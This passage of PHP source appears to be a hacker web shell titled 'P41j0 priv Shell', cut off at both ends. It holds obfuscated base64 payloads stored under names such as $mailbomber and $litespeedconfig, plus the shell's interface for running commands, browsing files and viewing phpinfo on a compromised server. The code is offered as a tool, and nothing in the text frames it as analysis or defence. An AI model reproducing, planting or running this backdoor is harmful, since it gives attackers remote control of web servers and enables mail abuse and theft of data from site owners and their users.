yk7IiAvPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQogICAgICA8ZGl2IHN0eWxlPSJ3aWR0aDo1NTBweDtoZWlnaHQ6MTAwcHg7IGJhY2tncm91bmQtY29sb3I6I0NDQ0NDQztjb2xvcjojMDAwMDAwOyBvdmVyZmxvdzp2aXNpYmxlOyIgYWxpZ249ImNlbnRlciI+PGNvZGU+VXNlIHVyIEJyYWluLi4gbG9sIDwvY29kZT48L2Rpdj48L3RkPg0KICAgIDwvdHI+DQogIDwvdGFibGU+DQo8L2Zvcm0+DQo8P3BocCBpZihAJHNvbnVjbGFyID09IHRydWUpIHsgPz4NCjxoMSBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic2l0aWxfaDEiPlNjYW4gUmVzdWx0cyA6PC9oMT48YnIgLz4NCjw/cGhwIGVjaG8gQCRtc2c7ID8+DQo8P3BocCB9ID8+DQo8L2JvZHk+DQo8L2h0bWw+DQo=';
$mailfilter ='tVZNb+M2ED3HgP8DQagbG1lHcRbtIZbkXlrsaRugvW0XBWUxEhtJdEkqktvd/97hSLJpR2slh8QfETkzbx4fOUNPJ+soyDhLoukkKLhhJDNmu+D/VOIppBtZGl6ahdltOSXdKKSGN8bPTJGvyCZjSnMT1qJMZK0Xy9sff6LEt2ja7HJObGgXsdGaguEaDUvy33RCuj9rXrBcpOUd2UAKrlbTyTfA8NHXovkdSQLPD1IVBMhmMgnpVmpjYXusIBFPZJMzrUPaZrLWi4sgjhbhLwUTOflV5JAiXAR+HAWxwk9rYY+sJIl45LkstvLRjjTXFRPkb14KTe7mvf8h4T6xXQVTnPXZRbmtzL9xZSgpWQEqcJtDWyFzMH+4oUSBZiFd3tAo8PvwIehYoabP5jHFQL5Odl3FhYDhE8srGLbrpkNQA9g+CInKW7ntw/r+4/104rWrICHx/rr/7fc/Pl+2E5dfVtbYgIE321wmfEb/LOn7zn9urRtZlQYc8P8MnO2seJgJDWdo1nu+e9c6RuFyDoeEbzJJaNCeiwg2HyBAQakA6FLx5BL2I+qgLVkI/FQVMVdEPpCOLMGt9nsMlJPaM8ZzzZ/lsHJ8km0s2UdZf94Is/qGp/AZ7Xl7oNEIks08Ed6sPBGELTd4vLqyPl4CxLVRBtZQc2Vl+OyJL1aKFhZs8J55yXuaSWPB6RyAv34ljiUXTxymjycLXT6bk5XJpXykyM/rAK9DL7EbUmZ2H+H7iiwdOY5J7Fgm5QCFXUsNcdFnj7pD1N1Z1LRf2DFoKmWa8/2iETw9opwieHoWnEknHAb7YIbB7GwwZlPVAcBOqIrsQRSCqLMgNStZ0smGIN3EAaVGlPosSmnyWqo8OcD0MwccgzhmROzGlbM5RKdFK2dxNv7nmsfXzlp47Kzjtl3I7QkCsdKbDOpw71qG8Ond0MP9dof792F42qBOG9ja9qi+wg2L4fLB/h/SWiQmuyMfbn44uiiMrfQ2NjBJ1Md2JUJmJFhjX4D6WK0jMj+0gnOtvuv1HUoz2O1J1EN3boDvXADwiPexQyo9pZQipdcwSl/CJ30RG6golwt7NRcAaMaogM8oEWw7LpXd96h891JGiDEu6DTKpmscDh31ajrSVowe49N2pAFC8KWQlTrh1rUfh1v9Rty6TKNq9Z3MoWRefZBeRqlP9YIya9waK96ID6QZpQI91t2s27faLR6Plzt2cfyV41AqF8s3kgfzDbI6fwcM/Jrt68HHC+HwE3A6aV/BepttLy6mk/8B';
$mailbomber ='jVTva5xAEP18gv/DdBHiNZe7NORTz1UIpbQJpYHrtyaE8dzUvfMX61qSlv7vnd1VekquRBH1vZm3M7NPfW828+lKYt+LtqLSQsVRGp/xLygLSOsyFYqfRauUUGViNKaFiKPHWpVQCp3XGW/qVhtKVk2nQT83gucyy0QFP7HoBK/3UGFp7laAFtBZ/AGVNPc+a1tg23JmX36lnWYuJaOoXoVFidjmNQQGW0MSswO1G9Fghv/Vc4J7GziVdOggCv90N126E1v9CuGWIqeyBptWet2VBeYHgsda39nAqaRDp6JXokUFojR7Ft5czV8hn9qUiboFXxjD51bCLXGVFdbiSaMSeHQWjQmNB1H7lsTRasg7KPx4kdZGNMBS6r7KT7hDyloZ6xk1Z8RVb1pXb9Lkje8F5Lj+4BA83H7dfPt+Uu9P7tfEWUuNGIM4rnfHiHWY4/s9GfEOc7wb6oi2kGOtRUakQRxnhzQmLWRZ6kw+Qkhtcc7qPYM5/PY9mgNhkp+vAwnR4IxAnp5aOkCSkkvb7zKQQwHkZrOGeXSoMU04fAKLIWbhKlq2Wj0o0QjUIQO2gHfnF5dvXZ/zBfuo6vI9BEjLY3yn7ioqjST/gN35kA1/lI0oKEPCdafwB1ZvmI3yPfEkNT2Zn485++2b/QU=';
$litespeedconfig ='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';
?>
<html>
<head>
<link rel="SHORTCUT ICON" href="http://www.blackhatteam.com/styles/blackhat/statusicon/forum_old-48.png">
<title>-=[ P41j0 priv Shell ]=--</title>
<script language="javascript" type="text/javascript">
function resizeIframe(obj) {
obj.style.height = obj.contentWindow.document.body.scrollHeight + 'px';
}
</script>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
select{
width: 150px;
height: 20px;
padding: 1px;
color: green;
}
select option { color: red; }
select option:first-child{
color: green;
}
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:10px;
font-family:Tahoma, Geneva, sans-serif;
color:#ffffff;
}
#menu{
background:none;
margin:8px 2px 4px 2px;
}
#menu a{
padding:3px 10px;
margin:0;
background:#3C953D;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.menu_pilih{
-moz-border-radius: 10px;
border-radius:10px;
border:1px solid #00CC66;
width:auto;
height:inherit;
padding:0px 100px 0px 100px ;
position:relative;
line-height:24px;
box-shadow: 0px 4px 2px white;
-webkit-box-shadow: 0px 4px 2px #ffffff;
-moz-box-shadow: 0px 4px 2px #ffffff;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #00ff00;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family:Arial, Helvetica, sans-serif;}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:0px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
